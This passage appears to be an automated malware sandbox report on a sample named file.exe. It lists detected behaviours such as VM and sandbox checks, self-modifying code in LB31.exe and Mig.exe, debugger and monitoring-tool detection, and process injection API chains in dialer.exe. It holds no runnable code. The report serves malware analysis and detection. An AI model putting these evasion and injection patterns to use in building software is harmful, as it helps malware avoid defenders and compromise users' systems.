Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,

49_2_00000001400010C0

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Roaming\LB31.exe	Special instruction interceptor: First address: 7FF70B136D85 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\LB31.exe	Special instruction interceptor: First address: 7FF70ADFD3D8 instructions caused by: Self-modifying code
Source: C:\ProgramData\Mig\Mig.exe	Special instruction interceptor: First address: 7FF6AEA76D85 instructions caused by: Self-modifying code
Source: C:\ProgramData\Mig\Mig.exe	Special instruction interceptor: First address: 7FF6AE73D3D8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1060000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1ABA0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7288	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2475	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7934	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1827	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7582
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2153
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7910
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1675
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6862
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1428
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 795
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8387
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1613
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9640

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_62-15213
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_19-15094
Source: C:\Windows\System32\conhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_16-15003
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_63-15146

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_49-408

Source: C:\Windows\System32\conhost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	API coverage: 4.9 %
Source: C:\Windows\System32\lsass.exe	API coverage: 6.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.9 %

Source: C:\Users\user\Desktop\file.exe TID: 1936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7228	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2020	Thread sleep count: 7934 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2020	Thread sleep count: 1827 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7232	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7688	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 7910 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7872	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep count: 1675 > 30
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 1372	Thread sleep count: 63 > 30
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 1372	Thread sleep time: -63000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5796	Thread sleep count: 6862 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5076	Thread sleep count: 1428 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7032	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 5980	Thread sleep count: 795 > 30
Source: C:\Windows\System32\dialer.exe TID: 5980	Thread sleep time: -79500s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7580	Thread sleep count: 8387 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7580	Thread sleep time: -8387000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7580	Thread sleep count: 1613 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7580	Thread sleep time: -1613000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 3664	Thread sleep count: 9640 > 30
Source: C:\Windows\System32\lsass.exe TID: 3664	Thread sleep time: -9640000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 3664	Thread sleep count: 252 > 30
Source: C:\Windows\System32\lsass.exe TID: 3664	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3940	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 3940	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 2540	Thread sleep count: 36 > 30
Source: C:\Windows\System32\dwm.exe TID: 2540	Thread sleep time: -36000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed

Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14EDCE0 FindFirstFileExW,	16_2_000001DCB14EDCE0
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_000002246446DCE0 FindFirstFileExW,	19_2_000002246446DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165EDCE0 FindFirstFileExW,	54_2_000002D0165EDCE0
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F151DCE0 FindFirstFileExW,	62_2_000002D6F151DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FDDCE0 FindFirstFileExW,	63_2_0000014E41FDDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B05DCE0 FindFirstFileExW,	64_2_000001D15B05DCE0

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: mshta.exe, 0000000C.00000003.2287264466.000002AECD07F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000005.00000002.2332993392.0000015FEB334000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSIdRom&Ven_NECVMWar&Prod_VMware_
Source: powershell.exe, 00000005.00000002.2332993392.0000015FEB306000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: mshta.exe, 0000000C.00000003.2286360520.000002A6CAB11000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308792224.000002A6CAB8A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB14000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2298038675.000002A6CAB86000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2307610258.000002A6CAB89000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB86000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2762887395.000002B01D65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2756925540.000002B01802B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mshta.exe, 0000000C.00000003.2286360520.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWm]
Source: powershell.exe, 0000000F.00000002.2891882424.000002687A410000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: mshta.exe, 0000000C.00000003.2287264466.000002AECD07F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000007.00000002.2293866711.000001CF7AE00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\dialer.exe

API call chain: ExitProcess graph end node

graph_49-471

Source: C:\Users\user\AppData\Roaming\LB31.exe

System information queried: ModuleInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: regmonclass
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: procmon_window_class
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: filemonclass
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\LB31.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process queried: DebugPort
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugPort
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugObjectHandle
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugPort

Source: C:\Windows\System32\conhost.exe

Code function: 16_2_000001DCB14ED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

16_2_000001DCB14ED2A4

Source: C:\Windows\System32\conhost.exe

Code function: 16_2_000001DCB14EF830 GetProcessHeap,

16_2_000001DCB14EF830

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14ED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000001DCB14ED2A4
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001DCB14E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000001DCB14E7D90
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_000002246446D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_000002246446D2A4
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 19_2_0000022464467D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_0000022464467D90
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165E7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_000002D0165E7D90
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165F6218 SetUnhandledExceptionFilter,	54_2_000002D0165F6218
Source: C:\Windows\System32\winlogon.exe	Code function: 54_2_000002D0165ED2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_000002D0165ED2A4
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F1517D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	62_2_000002D6F1517D90
Source: C:\Windows\System32\lsass.exe	Code function: 62_2_000002D6F151D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	62_2_000002D6F151D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	63_2_0000014E41FDD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 63_2_0000014E41FD7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	63_2_0000014E41FD7D90
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B066218 SetUnhandledExceptionFilter,	64_2_000001D15B066218
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B05D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	64_2_000001D15B05D2A4
Source: C:\Windows\System32\dwm.exe	Code function: 64_2_000001D15B057D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	64_2_000001D15B057D90

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

